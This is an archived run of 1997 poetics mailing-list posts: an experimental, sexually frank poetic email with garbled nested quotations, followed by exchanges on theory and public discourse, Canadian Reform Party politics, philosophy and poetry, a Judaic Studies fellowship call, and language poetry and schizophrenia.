> Derrida just called. He knows a friend, the one in Paris who
> detournes the texts - Kathey - and through her and the one who was
a friend of Laing and Guattari, he has some information for me about
Genet, and> some other things. Iwasnt here when I mailed you earlier I
was at MAria's place. By the way I am all done with prostitution now -
- how about you? He speaks English very well. The upshot of it is this,
he's going to be here to meet some friends of his and we are going to meet!
God, Im getting butterflies
> in my stomach just thinking about it. He knew my father, Jean Genet. I
> mean that literally obviously. Anyhow, you stick that in yer craw
> and suck on it. He will probably come to the reading I am doing, and then
> who knows, he might even write a little preface (maybe ten pages) for my
> next book. Who knows, who knows with Jacques?
>
> Who knew my father
>
> Who knew Celan
>
> Who knew Deleuze
>
> Who knew Guattari
>
> Who knew Foucault
>
> Who knew Sartre

>
> n Who knew DeMan (who I am now reading - Critical Writings 53-78,
> not bad, not bad for a critic)
>
> Who does not know Seamus Heaney who I am reading - THE REDRESS
> OF POETRY
>
> Who does not know TED HUGHES who had married many loved many
and
>
> writes poetry
>
> Who I am not
>
> Who you are not
>
> So err alone now
>
>
> Err alone
>
> O artificer stand with me now
> "You know, Phaedrus, that's the strange
> > >thing about writing, which makes it truly analogous to painting. The
> > >painter's products stand before us as though they were alive, but if
> > >you question them, they maintain a most majestic silence. It is the
> > >same with written words; they seem to talk to you as though they were
> > >intelligent, but if you ask them anything about what they say, from a
> > >desire to be instructed, they go on telling you just the same thing
> > >forever....")
> >
> I saw the second best minds of my generation...
>
>
> Antioedipus found the place, she found it the double edged sexes
>
> the night spoke, it saw the song of wend and wind, the
> percomabulators of thoughtx and desire. Burps and winds the sound night.
> Soon her sister shell had spoken the night jaded bumps and morpheme
> solobylls, the rolling suds of river and skin tissue turning in the kern
> and the button of the breath. Changed with the bull, the release the papal
> bull the pull down screens, the paper menus of china in her glass vase,

> the petals of a thousand eyes.
>
> In those days she had been a grammarian
>
> And the nights were young like her shoulders
>
> They had soft breast plates left out parts and cleft hearts
>
> Then in the stare of hum and shell she shelf the shallow weight
> of tenebra
> against the lips of eyes and other foster children
> dictionironary was her place by the ford and the lace
> it softened off into rivers and platas
> Old black and white movies had to be seen not heard
>
> When the solo diver moved the plage
> the oil of the sand
> dreamed of Kuwait
> the merchant man
> Said Death I am coining in coming in
> a soldier of desire in the abc backward straits
>
> death and children and the photgraphs not fame
> not fame
> understood as the grave digger of types
> and the salamander monkey understood
> the gracious word standing upside down
> with a syndrome to be re-paid
> a life to repair
> silent to repent in the hand standing tall
>
> of the orchards
>
> a black and white movie to be seen
> a lover to be held
> a gathering to be burned
>
> a gate a gathering breath
>
> silent at the gathering
>
> a word to be touched

>
> a jewish word to be touched
>
> by the lips agains the skin collar
> near the necking of the speech
>
> some pearl like that
>
> a pearl
>
>

Imagine though if he does write the preface, she'll be so happy! She is such a monk. and such a little chastes brat! Reading Deleuze all night being happy! and that Guattari! wow what a treat! Oh me O my O Dear!
>

On May 1, Jill wrote

I need to read D. all night so I can sleep then masturbate, all my 1000 little sexes need to be aroused all the time, so Ican explore and explode all my pyschotic holes! Oh, if I was alesbian then I would be okay! But Im not what can I do

On April 27 Orpheus wrote,

You can be me if you want, after all I am nothing but a closet of clothes in the cupboard that no one looks at or cares about

Oh those voices those voices!

↑ Index

757. OrpheEUrydiuce
Re: pole vaulting
Sun 25 May 1997

On Sat, 29 Mar 1997, AntiOedipus wrote:

Who is dead HArold Bloom?????????????????????????????>
>
> On Thu, 6 Mar 1997, [shem] wrote:
>
> >
> >
> > from Nietzsche's Daughter
> > >
> > > Let me correct that minor typo: Tzarathustra the balooning >

dadaphony
> > of our rest and quiet the dead kicker off er of dead > generations of
> > deadly birthed poets suffused and suffering the angst of > influence - No
> > Mista' Bloom he dead. I gotta go for the Berlin wall, I > wanna find some
> > history, I never asked for sunshine and I gott World War > Three, I lookd
> > over the Wall and they Looked Back at Me. Some heurtistic > device for a
> > little bit of verse. The adverse of the perennial need to > destroy one's
> > aprtents !? - ha! how glib - I destroy the unconcscious > factory of
> > resentment in every man. I clean and sweep the stables of > whores and
> > parasites of literature/. I eat them for my apoplexic lunch - > my naked
> > lunch, my queer Ginsber grab bag of bad poetry my queer > shoulder to
the
> > wheel. Ah! Mista Bloooom! you dead. sAD TO HEAR THE NEWS > MISTER
HAROLD
> > BLOOM HAS DIED OF HEART FAILURE. CHECK THE REUTERS IS THIS
> JUSTA RUMOUR?
> > oR AM i HEARING THING????? hOPEFULL wish full things of > Poets who
wish
> > the death of Critics and their swamy gang, their gangster > pedallers of
> > second rate hand me down thoughts like: "hes the greatest > critic of the
> > second half the 20th century." Oh well Gregory Corso a > really bad poet
> > if ever there was one is the jewel in the eye of the BEat > poetry
> > movement. because of his moral courage and alcoholism he is > regarded
as
> > hero and anti-hero a deleuzian position that bloomians cannt > handle.
> > Only Mr. bloom of Ulyssses can see this, can think this, like >
> > Tzarathustra dada bc/ad can see this. The alias of poetry is the disguise
> > > of the revolution of the desire machine, its broken back struggling for
> > > words. Like Kenneth Patchen, patch and stich the monosyllable of death
>
> > and breath. The song of pop culture and its raw motorcyle poetry, of >
> > tight jeans and class war of culture war of megaphones in india and not >
> > metaphors in chromium alley libaries of eltitist americanker universities
> > > - elitist creme de la creme - Ah phooey i say I weep at their > Let me
> > correct that minor typo: Tzarathustra the balooning > dadaphony of our
> > rest and quiet the dead kicker off er of dead > generations of deadly
> > birthed poets suffused and suffering the angst of > influence - No Mista'
> > Bloom he dead. I gotta go for the Berlin wall, I > wanna find some
> > history, I never asked for sunshine and I gott World War > Three, I lookd
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> > little bit of verse. The adverse of the perennial need to > destroy one's
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> > > - elitist creme de la creme - Ah phooey i say I weep at their >
> > incorigibility, their obverseness tot he avant-garde also swinging in its
> > > own dogmatic churn of brilliant brillantine! Ah the American canon
> > cracks > under its own desire to be whored - Frank O'Hara the poet once
> > gave a > reading and when through with his own work started reading
some
> > Auden; > not that is love not anxiety, and love is power and levity and
> > freedom, > freedom from the 'will" and al its co-called vountatristic
> > exercises. Yes > dear ladies and gentlemen you are listening to the words
> > of a man who has > never lived, never lived. Take sweet powder and shit.
> > Free of its own it > enters the powerless domain of inspiration and
> > deities. Ah you cowards, > now I must go eat supper. But I pray to the
> > doggess! the feamale whore on > high of language that your sour sore ears
> > be awakened! Mental fight as in > William Blake. > > I remain yours,
> > Nietzsche's Daughter! > the deathless one of the eternal return >
> > disguised as Pierre Knlossowski in drag with Robert the masochist > in
> > tow. > > P.S. HArold Bloom is dead - please confirm!!!! > > > P.P.S. re:

> > rarefied air : I breath the air of death and bones > each day and there
> > aint nuthin' rare bout hat sista! > > > > > > > Interesting what you
> > write, Shem darling, nnnnnnnnnhhhhmmmooonnneeee, about your
"Zarathustrian
> > Dada > > tower". Interesting because I do not think you have read your
> > father's book > > Z." closely enough. At the beginning of the book,
> > Zarathustra, > > consumed by the rarefied air at the heights where he had
> > been living, > > comes down from those heights to refresh his soul. I
> > wish you'd > > do the same. And come and see me soon. I need you, your
> > Elena> incorigibility, their obverseness tot he avant-garde also swinging
> > in its > own dogmatic churn of brilliant brillantine! Ah the American
> > canon cracks > under its own desire to be whored - Frank O'Hara the poet
> > once gave a > reading and when through with his own work started read-
ing
> > some Auden; > not that is love not anxiety, and love is power and levity
> > and freedom, > freedom from the 'will" and al its co-called vountatristic
> > exercises. Yes > dear ladies and gentlemen you are listening to the words
> > of a man who has > never lived, never lived. Take sweet powder and shit.
> > Free of its own it > enters the powerless domain of inspiration and
> > deities. Ah you cowards, > now I must go eat supper. But I pray to the
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> > rarefied air : I breath the air of death and bones > each day and there
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> > Dada > > tower". Interesting because I do not think you have read "Thus
> > Spoke > > Z." closely enough. At the beginning of the book, Zarathustra,
> > > > consumed by the rarefied air at the heights where he had been living,
> > > > comes down from those heights to refresh his soul. I wish you'd > >
> > do the same. And come and see me soon. I need you, your Elena>
> >
>

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758. **Douglas Barbour**

Re: theory writing & the public weal

Sun 25 May 1997

Joe Amato's post did not, for me, sound as though he was beating around the bush. I found it provocative & useful. Given we are in the midst of a federal election up here, I found the following relevant:

"whether having to be "clear" about such motivations is "where" we are in critical-theoretical terms, at this moment in academic culture (robert's question, as i understood him), i'm not sure... my guess is that we might as academics find some helpful room to move through a more performative understanding of what we are about... but u.s. culture is predisposed toward posing [he sez], both in and out of the academy, so i'm not going to wax entirely optimistic on this count..."

I am disturbed by a party, Reform, which seems to be following the worst of the republican far right moves. Reform says it wants to create ('create'? well, it seems to suggest that nothing like exists now, although they are able to be a party & argue their case) a Canada of 'equal' provinces & 'equal' people. A nice thought. But they will do so by 'downsizing' the central government, giving much more power to provincial governments. But can the people trust those governments (any more than that damned federal government)? A question not asked. What is this equality of people? Well everyone must be treated the same (although one Reformer spoke last year of supporting a businessman who would move people of colour or gays into the backroom so as not to bother customers [& people are not longer citizens in this vision but mere customers]). Now, the problem, as I see it, is that the theoretical arguments that would suggest that this equality misses out a lot of socially structured inequalities that Reform wants to make sure can & will not be altered by any government mandated structural changes. And what I want to know (surely this applies down there as well, including all the talk bout the NEA) is what language, what discourse, might reach the very people who have the power (or want it) to destroy what positive (& theoretically valid?) structures now exist. Can anything be accomplished by a discourse they dismiss as 'unreadable'? More important: is it possible to 'translate' the theoretical ideas into a discourse that will reach a wider, political audience? I write this as someone who reads & enjoys a lot of theory, but also, especially, admire the clarity with which Guy Davenport (for example) writes about extraordinarily 'difficult' poetry.

==========

Douglas Barbour I see
Department of English only

University of Alberta through the touching of Edmonton Alberta
T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigaray
H: [redacted]

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759. **Douglas Barbour**
Re: philosophy & poetry
Sun 25 May 1997

I'd just like to recommend a truly fine treatment of this conjunction:

Jan Zwicky. _Lyric Philosophy_ (Toronto: Unversity of Toronto Press, 1992).

Of which Guy Davenport says: "Something to read with pleasure and enlightenment. The interplay of text and quotations is fascinating ... a substantial book that has the virtues of integrity and domesticity which it celebrates."

A collage text, out of Wittgenstein & all the poets Zwicky wanted there (but with the doors left open for others to enter...

==========
==========

Douglas Barbour I see
Department of English only

University of Alberta through the touching of Edmonton Alberta
T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigaray
H: [redacted]

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760. **Carl Lynden Peters**
Re: philosophy & poetry
Sun 25 May 1997

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something which relates to this from my own experience. when i was an art student in graduate school my teachers sd i shld take philosophy. you didn't write in art class you painted. or you drew pictures. or you made objects and sd it was sculpture. but you didn't think abt writing. (i have had bad teachers. but i've also had good ones.) so i took classes in philosophy. on my essays they sd i shld really be thinking abt this stuff in fine arts, or maybe _literature_. so now i'm in _literature_. once a fellow student sd it was a good thing i was taking a certain lit. course with a certain instructor because anyone else wld tell me i

cldn't do what i wanted to do. hard to imagine that sort of thing being thot in 1997. actually it was in 1995 but that doesn't matter. a key word is _interdisciplinary_. that's a more precise term in this instance i think than, say, "multi-disciplinary" or "environmental" or even "transdisciplinary." i finally got a degree in _interidsciplinary_ studies. i like hamlet's response to horatio's question best, when he asked him what he was reading. "just words."

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761. **Andrew John Miller**

Misrepresenting Canada (was re: theory writing & the public weal)

Sun 25 May 1997

Douglas Barbour has moved this discussion onto Canadian terrain. He has done so, however, in a fashion that I find dangerously misleading. Since American eyes tend to glaze over at the mere mention of Canadian affairs, I will do my best to keep my comments brief.

In a fashion that ignores the profound differences between Canadian and American contexts, Barbour begins by drawing a direct parallel between Canada's Reform party and "the republican far right":

> *I am disturbed by a party, Reform, which seems to be following the worst of the republican far right moves.*

Barbour then proceeds to zero in on the weakest link in Reform's arguments: its theoretically impoverished concept of personal and provincial "equality." In the process, however, he refuses to face up to the gross defects in Canada's current system of federal government.

> *Reform says it wants to create [...] a Canada of 'equal' provinces & 'equal' people. A nice thought. But they will do so by 'downsizing' the central government, giving much more power to provincial governments.*

Barbour conspicuously fails to mentions that, at present, Canada finds itself saddled with a parliamentary system in which, once a party has formed a majority government, it is able to rule in a fashion that is virtually dictatorial. Under the constraints imposed by the dominant federal parties, individual members of parliament are unable to modify their votes in a fashion that reflects either their own views or the views of their local constituents; any departure from party policy results in harsh disciplinary action. What this means is that the party in power can pass pretty much any legislation that it wishes to pass, no matter how ill-conceived that legislation may be.

To make matters worse, the electoral map has been drawn up in such a manner that Canadians living east of the Ontario/Manitoba border play a grossly disproportionate role in determining precisely who will control the federal parliament.

As a result, the legislative agenda of the governing party tends almost inevitably to favour the interests of Ontario and/or Quebec over the interests of other provinces--especially those that lie to the west of the Ontario/Manitoba border.

None of this would matter so much if there existed, in Canada, an elected senate that was structured in such a way as to provide a countervailing voice, a voice reflective of the teeming diversity of regional and provincial interests. Instead, however, we are stuck with an appointed senate that bears a closer resemblance to a geriatric ward than to a meaningful arm of government.

As someone who has recently returned to British Columbia after having lived for eight years in the United States, I find myself appalled by the glaringly undemocratic and asymmetrical character of Canadian federalism. Much to my chagrin, moreover, I find that the only party that is seriously interested in correcting this state of affairs is Reform--a party that, like populist parties elsewhere in the world, is tinged by disturbing hints of nativism, ethnocentrism, and xenophobia.

Be that as it may, I am quietly hoping that Reform makes a reasonably strong showing in the coming elections. After all, under Canada's current system of parliamentary dictatorship, Reform has no chance whatsoever of implementing the more pernicious aspects of its socioeconomic agenda. Reform does have a chance, however, of reminding the quasi-colonial powers of Eastern Canada that a growing number of Canadians are unhappy with the existing system of asymmetrical federalism, a system that is characterized by arrogant forms of patronage and influence-peddling.

Let me add that I do not share Douglas Barbour's concern about the consequences of giving increased power to the provinces. It seems to me that progressive movements for social change in fact probably have a greater chance of succeeding under a more decentralized federal system than they do under the current federal system. Sadly, many Canadian intellectuals have come to imagine that the road to social justice inevitably leads through Ottawa--just as many American intellectuals have come to imagine that the road to social justice inevitably leads through Washington. All of us need to begin thinking our way beyond this crude form of bureaucratic centralism.

Although the American situation differs in profound ways from the Canadian situation, there is good reason to believe that both countries would benefit from a general devolution of federal powers. It is crucial, however, that the debate over the form and direction of such devolution not be abandoned entirely to the right. Contrary to what is implied by the ongoing retreat into bland, rear-guard defences of the welfare state, the contemporary left still has much to learn from the anti-statist perspectives of its anarcho-syndicalist heritage.

At the risk of being booed off the stage, I will also suggest that the contemporary left still has much to learn from the contemporary right. The trick, in this case, is to subvert and translate our opponent's ideas in ways that open up possibilities that our opponents have not anticipated.

I've gone on much longer than I had intended, yet I fear that I still have not done enough to clarify the points that I have been seeking to make. If anyone wishes to press matters further, I will be glad to follow up with additional comments--including comments that will bring us back to the issue of federal funding for the arts and humanities. Otherwise, I will cease and desist.

Andrew Miller
North Vancouver, British Columbia, Canada
[redacted]

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762. David R. Israel
(Fwd) Medieval Hebrew Poetry--fellowships
Sun 25 May 1997

Poetas,

I attach here a call for applications for research fellowships (for post-docs and/or grad students) from a certain Center for Judaic Studies at the Univ. of Pennsylvania. While one assumes (from the description) that the fellowships would include, as prereq., language facility (primarily) in Hebrew, as well as (perhaps) German, Arabic, and/or Latin -- still & all, I felt the mere description of the scope of proposed research might, in itself, prove of some passing interest to our Poetics denizens. (I, for one, wasn't aware of this stuff.)

d.i.

------- Forwarded Message Follows -------
Date: Wed, 21 May 1997 15:06:02 -0500
To: [redacted]
From: Franklin Lewis <[redacted]>
Subject: Medieval Hebrew Poetry--fellowships

FYI--

CENTER FOR JUDAIC STUDIES
University of Pennsylvania
Post-Doctoral (and Advanced Research) Fellowships 1998-99
Application Deadline November 30, 1997

Topic I:
POETRY AND CULTURE IN MEDIEVAL AND RENAISSANCE JEWRY

The writing of Hebrew poetry was a widespread activity in all premodern Jewish communities, and was shaped by intellectual currents and historical forces of all kinds, both internal to the Jewish community (such as kabbalah) and external to it (such as Islamic or Renaissance culture). The full interpretation of Hebrew poetry and the assessment of its place in Jewish intellectual life necessitate interdisciplinary study, which has never yet been systematically attempted. This research group will consist of specialists in medieval and Renaissance Hebrew poetry and specialists in disciplines and subject matters that found expression in or influenced that poetry. Such scholarly interplay will aim at a fuller appreciation of the role of Hebrew poetry in Jewish intellectual life as well as a broader understanding of the disciplines themselves. The disciplines include, but are not limited to, history, philosophy, mysticism, medieval science, Romance literature, and Arabic literature.

Topic II:
HASKALAH, ENLIGHTENMENT, AND EUROPEAN SOCIETY

The impact of the Enlightenment on Jewish thought and social life continues to attract lively debate among scholars from different disciplines. Historians, philosophers, and students of literature have seen the Enlightenment as the source of the 'crisis' in traditional society, as the harbinger of radical assimilation, or as the forerunner of such movements as the Wissenschaft des Judentums, Reform Judaism and even Zionism. The research group will consider such issues from a comparative and interdisciplinary perspective within the context of Western and Eastern European societies, focusing on the German Enlightenment. It will examine the impact of Enlightenment thought on European Jewry, as well as the Jewish contribution to the European Enlightenment.

Each group will consist of 6-8 Fellows. Outstanding graduate students in the final stages of writing their dissertations may also apply. Stipend amounts are based on a Fellow's academic standing and financial need with a maximum of $30,000 for the academic year. A contribution may also be made towards travel expenses. Awards will be announced on January 30, 1998.

For application material and further information, write to:
Secretary, Fellowship Program
Center for Judaic Studies
420 Walnut Street Philadelphia, PA 19106
Telephone: [redacted] * Fax: [redacted] * Email:
[redacted]

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763. **henry gould**
Re: philosophy & poetry
Sun 25 May 1997

Hamlet's response to Horatio points to the dilemma of poets in a world in which words must be "blooded" with the (fake blood) action of actors as in Al Pacino's magnificent "Looking for Richard" which I recommend to anyone interested in tragic poetry & the "impure" effects of language such as the way Pacino "plays" Richard among his fellow actors even in the scenes when he is "off-scene" (one-upmanship) & points back to my harangue about the buffoonery of poets in a narrated world of films & music where "prestige" (awards, academies, etc.) only serves hilariously to accentuate their unnecessary presence (they are excellent actors, though, all of them, from Ashbery to Zukofsky) & points again back to the necessary TRAGIC NARRATIVE of NECESSITY, SISSIES, SYSIPUSSIES, underlying the demand for "craft" and "voice" if you want to "publish" in a coherent "fashion" your incisive "poetics" etc. etc.

"This day should Clarence closely be mewed up
 About a prophecy which says that G
 Of Edward's heirs the murderer shall be."
[Rich. III, I.1.38-40]

- Henry G

p.s. maybe poetic drama is the coming thing. But then, there's a war of the roses on between poetry and theater. Actors make a mess of poetry, it's said. But then, perhaps poets make a mess of plots. Let's bury all these snow peas & see what comes up. Here comes Walsingador, the Poet Alchemist of Bardolatrocity College! Maybe He can help me with my Writing! Look at that long beard & those intense blazing eyeballs! He is indeed a Legend after his own Time! I have only three semesters left & soon I will be employed in Seattle! Will I be able to Write There? The salmon are spawning! Everybody reads lots of Words now! & She, She too had good Things to say about my ... my Verse!!

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764. **DS**
Re: Misrepresenting Canada (my entry for bad writing awards)
Sun 25 May 1997

Re: th eparagraph below. Because of the general ignorance and lack of personal and moral integrity of the people who make up such parochial racist movements it is unlikely that any of their policies will be really acknowledged outside those that are ethnocentric/racist - & if any influence is made on the main stream it is likely to be in limiting immigration, toughening up on recent (less

affluent) immigrants & in local justification of prejudice already facilitated by the current anti-pc backlash - (or continued lashing). However i am not familiar with Canadian politics & am merely reflecting on what has been going on around here.

It's unfortunate to have to bring up Mr Hilter all the time, but there really were aspects of his policies that were beneficial to a 'german' population & i seem to remember a similar argument in a small tavern in Dusseldorf back in 1935 with Fritz Eichhornchen - when i distinctly remember him saying "hoffentlich, wer gesehen nur die gutes poilizies von Herr Hilter und die schlechtes wollen allen disapierien sein." I remember criticising his gramma as well as his politics. But he had been drinking and was from Barvaria so i didn't make too much of it at the time. How wrong he was.

Tanielu der poetaster

> *As someone who has recently returned to British Columbia after having lived for eight years in the United States, I find myself appalled by the glaringly undemocratic and asymmetrical character of Canadian federalism. Much to my chagrin, moreover, I find that the only party that is seriously interested in correcting this state of affairs is Reform--a party that, like populist parties elsewhere in the world, is tinged by disturbing hints of nativism, ethnocentrism, and xenophobia.*
>
> *Be that as it may, I am quietly hoping that Reform makes a reasonably strong showing in the coming elections. After all, under Canada's current system of parliamentary dictatorship, Reform has no chance whatsoever of implementing the more pernicious aspects of its socioeconomic agenda. Reform does have a chance, however, of reminding the quasi-colonial powers of Eastern Canada that a growing number of Canadians are unhappy with the existing system of asymmetrical federalism, a system that is characterized by arrogant forms of patronage and influence-peddling.*

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765. **Michael Boughn**

Re: who gets the prizes (wants them)

Sun 25 May 1997

> *Look, what has poetry to do with any of this?*
>
> *Tom*

A big wet kiss on the cheek for Tom.

Mike

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766. **Piombino/Simon**
Re: Pie Barrage
Sun 25 May 1997

Quite right, George B., but of course poets aren't the only ones who indulge in referring to what other people do as crazy. I do wish I had these texts at hand so I could bring forth more exactly what I was referring to in Jameson and Perelman.I'm sure I wasn't being entirely fair to Perelman, and he certainly was not being as off the cuff as I am in this context.I promise to do more homework and report back, but as I remember it many poets I know were astonished some years back when Jameson wrote about postmodern poetry, citing Perelman's poetry as an example of deliberate attempts in poetry to imitate "schizophrenic language." In his recent book discussing so called "language poetry" (a context in which Perelman's mature work, and maybe even his immature work, as a poet emerged) he critiques both Andrews and Bernstein (here's where would be nicer to quote, and unfortunately I can't at the moment) for being less than coherent, let us say, orderly and meaningful in ways that might have significant and useful social value. In short, he apparently is accusing them of publishing works that have aspects of being nonsensical! Without intending to be overly flattering, this is like DeKooning accusing Pollack of being vague and ambiguous, pot accusing the kettle, etc. So the problem, for me, is not so much poets and critics talking diagnostically like doctors, but poets posing as doctors and accusing other poets of being suspiciously disoriented...even, perhaps ,apparently inebriated, at times not completely serious, or almost nuts! Heavens forfend! L=A poets indulging in playfully batty antics! But I am babbling on... Best wishes, Nick P. On Sat, 24 May 1997, George Bowering wrote:

> *This may be considered hoisting Star Trek by its own Picard but isn't Jameson the one who thought Perelman was a schizophrenic poet and now lately Perelman seems to be implying the same thing about his comrades Bernstein and*
> *Andrews?...*
>
> *What? All these poets and critics are now medical men and diognosticians in the field of mental health?*
>
> *George Bowering.*
>
> *2499 West 37th Ave.,*

> *Vancouver, B.C.,*
> *Canada V6M 1P4*
>
> *fax:* [redacted]
> *e-mail:* [redacted]

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767. **Andrew John Miller**

Re: Misrepresenting Canada (my entry for bad writing awards)

Mon 26 May 1997

Clearly, my first impulse was correct: there is little point in attempting to explain the complexities of Canadian politics to a non-Canadian audience. Nobody outside the country really gives a damn about our constitutional problems, and nobody outside the country is interested in taking the time to understand the peculiar nuances of our interregional and interprovincial conflicts.

And so we find that, before deploying his _ad_Hitlerum_ argument, Mr. DS blandly, and almost proudly, acknowledges that he knows little and cares less about Canada:

> *[...] i am not familiar with Canadian politics & am*
> *merely reflecting on what has been going on around here.*

Of course, it is true that, despite appearances to the contrary, my argument bore only a tangential relation to the particulars of Canadian politics. I was in fact attempting to make a broader point about the left's abysmal failure to think beyond the centralist models of the warfare/welfare state. Some of us like to talk about radical democracy, but very few of us seem willing to do anything about it.

In Canada, the Reform party has seized upon the perfectly legitimate desire for more participatory forms of democratic governance. By talking, if only in rather specious ways, about the need to make politicians more responsive to local and regional interests, the Reformers have coopted what could--and should--form the basis for a revivified leftism, a leftism that would be predicated upon the assumption that concepts of democratic participation should be extended to all realms of social life, including the workplace (a realm that Reformers conspicuously exclude from their democratizing rhetoric).

In British Columbia, at least, many of the people who are now voting for Reform are people who used to vote for the NDP, which remains the most identifiably left-wing of the more prominent Canadian political parties. In addition, Reform

has begun to win significant support among many of the recent, Asian immigrants to British Columbia. In response to these shifts in its base of support, the party has been either expelling, or consigning to the back room, its old-line, nativist members. Needless to say, this hardly means that the party should now be given a clean bill of health. But it does make for a more complicated mixture of interests and alliances than is dreamt of in Mr. DS's morally pure version of political theology. (Just in case anybody out there gives a damn about such details, it should probably be noted that, in an earlier period of British Columbian history, Ezra Pound's old favorites, the Social Credit, went through an even more convoluted series of metamorphoses.)

I realize, of course, that Mr. DS could easily respond with further Hitlerian analogies. I refuse, however, to take such a static approach to our historical situation. I wrote my previous comments in the sincere belief that the left needs to pay closer attention to the radical potentials latent in the pervasive tendency to seek alternatives to centralist models of government. By allowing the discussion of such alternatives to become entirely the province of the right, we are, I believe, abdicating a crucial responsibility.

I end this message with some sense of regret. In the last couple of days, I've finally had a bit of free time. It had been my intention to engage, after long silence, with some of the more specifically literary issues that have been cropping up on the list. Instead, I find myself wrestling with that old demon, politics. I guess, despite all my attempts at rehabilitation, I really am an incurable political junkie. Helas!!

Andrew John Miller
[redacted]

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768. **David Bromige**
Misrepresenting Canada
Mon 26 May 1997

> *To:*[redacted]
> *From:*[redacted] *(David Bromige)*
> *Subject:Misrepresenting Canada*
>
> *Or B.C., leastwise. I believe that the Socreds were far in their practice from the Social Credit Pound advocated. Is anyone out there more capable thatn I, of delineating these differences? Soc-cred in BC in the 50s was boondoggles & corruption to my less-than-matured political sense.*
>
> *"On the banks at Kelowna*

> *The Socreds all gathered*
> *To sing party songs*
> *And hold Mass on the marge--*
>
> *Then they shed a salt tear*
> *Why cant Bennett be here*
> *We'd sacrifice him on the bond-burning barge."*
>
> *anyone recall how this went on?*
>
> *Andrew John Miller, I dont mean to mock a seriousness in your postings I find laudable. My political involvement is all at the local level, which in this part of my life is a small town in Northern California. I am sadly out-of-touch with Canada & must take steps to change this. But clearly there have been racist elements to the Reform Party. I mean, that's agreed-on isnt it--altho' one person will dismiss them as lunatic fringe, while another will justifiably bring up History with Herr Hitler in it. Many "good" Germans temporized with Hitler & Bingo! Became war criminals.*
>
> *Societies wont get fairer without more government money & the rich are the ones with the most money. An entire society exists within which they by their use of others make millions. Then they deny the connection. (Mrs Thatcher: "No such thing as society." Who bestowed her title & who wrote her paychecks? Who imparted value to the currency?" In whose eyes did her value exist?) If Reformists want to soak the rich, it's going to be hard not to listen to them.*
>
> *Yours David Bromige.*

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769. **George Thompson**

Re: Pie Barrage

Mon 26 May 1997

In response to Nick P's observations:

but as I
>remember it many poets I know were astonished some years back when Jameson
>wrote about postmodern poetry, citing Perelman's poetry as an example of
>deliberate attempts in poetry to imitate "schizophrenic language." In his
>recent book discussing so called "language poetry" (a context in which
>Perelman's mature work, and maybe even his immature work, as a poet
>emerged) he critiques both Andrews and
>Bernstein (here's where would be nicer to quote, and unfortunately
>I can't at the moment) for being less than coherent, let us say, orderly

>and meaningful in ways that might have significant and useful social
>value.
>In short, he apparently is accusing them of publishing works that have
>aspects of being nonsensical!

Not having read Jameson's remarks I cannot say what he intended, but it seems to me that an exploration of the language of schizophrenia would be a good thing, an important thing, a meaningful thing, and full of useful social value.

Jakobson was fond of the slogan:

Linguista sum; linguistici nihil a me alienum puto
[I am a linguist; I consider nothing foreign to me that has to do with language]

If you replace "linguista" with "poeta", it works equally well for this list, no?

George Thompson

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770. **David Bromige**
Misrepresenting Canada
Mon 26 May 1997

To:[redacted]
From:[redacted] (David Bromige)
Subject:Misrepresenting Canada

Andrew John Miller, my post last night might have been less than clear. The link you propose between the Social Credit advocated by Pound, and the political party that ruled in British Columbia for many years, was a matter of "in-name-only." I don't believe any of the latters' policies reflected the influence of Major Douglas.

Also--in the guying song I cited--the name should be "Bonner," I think. Bennett would of course have been there (at the bond-burning stunt). Wasnt Bonner the name of a recently disgraced SocCred minister?

If my closing remarks sounded like a rant, I'm sorry. BC's Socreds were a crass lot, precursors to my mind in their greed and selfishness, of Thatcherism & Reaganism, no matter their policy differences, hence my anachronistic build-back onto them of Thatcher's phrase "There is no such thing as society." The practiced detachment of the enormously rich & powerful from "society" in the sense of the whole human endeavor from which they draw their money & their powe
--how do they get away with this w/o challenge from the media & with support from intellectuals? Perhaps Blair's government will alter this would-be market metaphysics in Britain. The windfall tax is a start. Where does the Reform Party place itself in relation to this particularly

> *criminal form of hypocrisy?*
>
> *David Bromige.*

↑ Index

771. Robert Archambeau
Re: Pie Barrage
Mon 26 May 1997

I just co-directed a psychology/English thesis on avant-garde poetry and the language of schizophrenia. I can backchannel a bibliography of materials (mostly from the discipline of psychology, things unread in lit theory circles) to anyone who has an interest.

George Thompson wrote:

> *it*
> *seems to me that an exploration of the language of schizophrenia would be a good thing, an important thing, a meaningful thing, and full of useful social value.*

↑ Index

772. Douglas Barbour
Re: but who's saying what...
Mon 26 May 1997

Andrew John Miller makes some interesting points about the Canadian political scene, but 1) I live in Alberta, & I can tell you I don't want the provincial government there to have any more power than it already has, &, however badly managed & run the central government may be (& I would happily support a system in which all parties got some representation based on voting patterns across the country), it does provide some balance; 2) I think ds salmon hits the nail on the head, & this can be seen in the fact that the "Liberal" government has, in fact, already begun to cut & reshape immigration & law to Reform desires; 3) I really raised the political question in order to ask about the use of language, the how of getting theory down to the street, so to speak.

I was only trying to pull some of that discussion into the world of political doing. Possibly theory just doesnt 'go' there? But, no, the questions raised about ideology & power are real, & somehow or other it would be good to bring those questions to bear in the public arena against the leaders who insist that all we need is 'common sense' (whatever that is, or they mean by that).

I do think it's worth considering Mr Miller's suggestion "that the contemporary left still has much to learn from the contemporary right. The trick, in this case,

is to subvert and translate our opponent's ideas in ways that open up possibilities that our opponents have not anticipated." But I also worry about the ethics of it all...

==========
==========

Douglas Barbour I see
Department of English only

University of Alberta through the touching of Edmonton Alberta
T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigaray
H: [redacted]

↑ Index

773. **Robert Archambeau**
Canadian Discontents
Mon 26 May 1997

As an ex-Manitoban of French ancestry, I suppose I am not disinterested with regard to all this discussion about Misrepresenting Canada, but I would like to add my two cents (that's 1.4 cents in US currency) to this debate, even though this is probably not the right forum for any lengthy debate of the issues.

I think what is important to recognize is that:

1. The Reform Party has a set of disasterously retrograde, narrow, and bigoted policies.

2. Reform has gained support because people in the Western Provinces feel quite rightly that they are not heard in the capital, where those in power see most conflicts in terms of the balance of power between Ontario and Quebec (the West tends to get collapsed into "English Canada" but the interests represented under this rubric tend to be those of Southern Ontario). IE: REFORM PRESENTS ILLEGITIMATE SOLUTIONS TO VERY REAL PROBLEMS.

3. The discontent in the West is by no means new -- the leftist NDP was once the vehicle of this discontent.

4. We need people on the left in Canada to find a way to articulate their views and mobilize Western discontent. Otherwise we leave the discontented voters to Reform, who are the only people who even *claim* to represent the West. [So why are people like Barbour, whose hearts are in the right place, so suspicious of such action?]

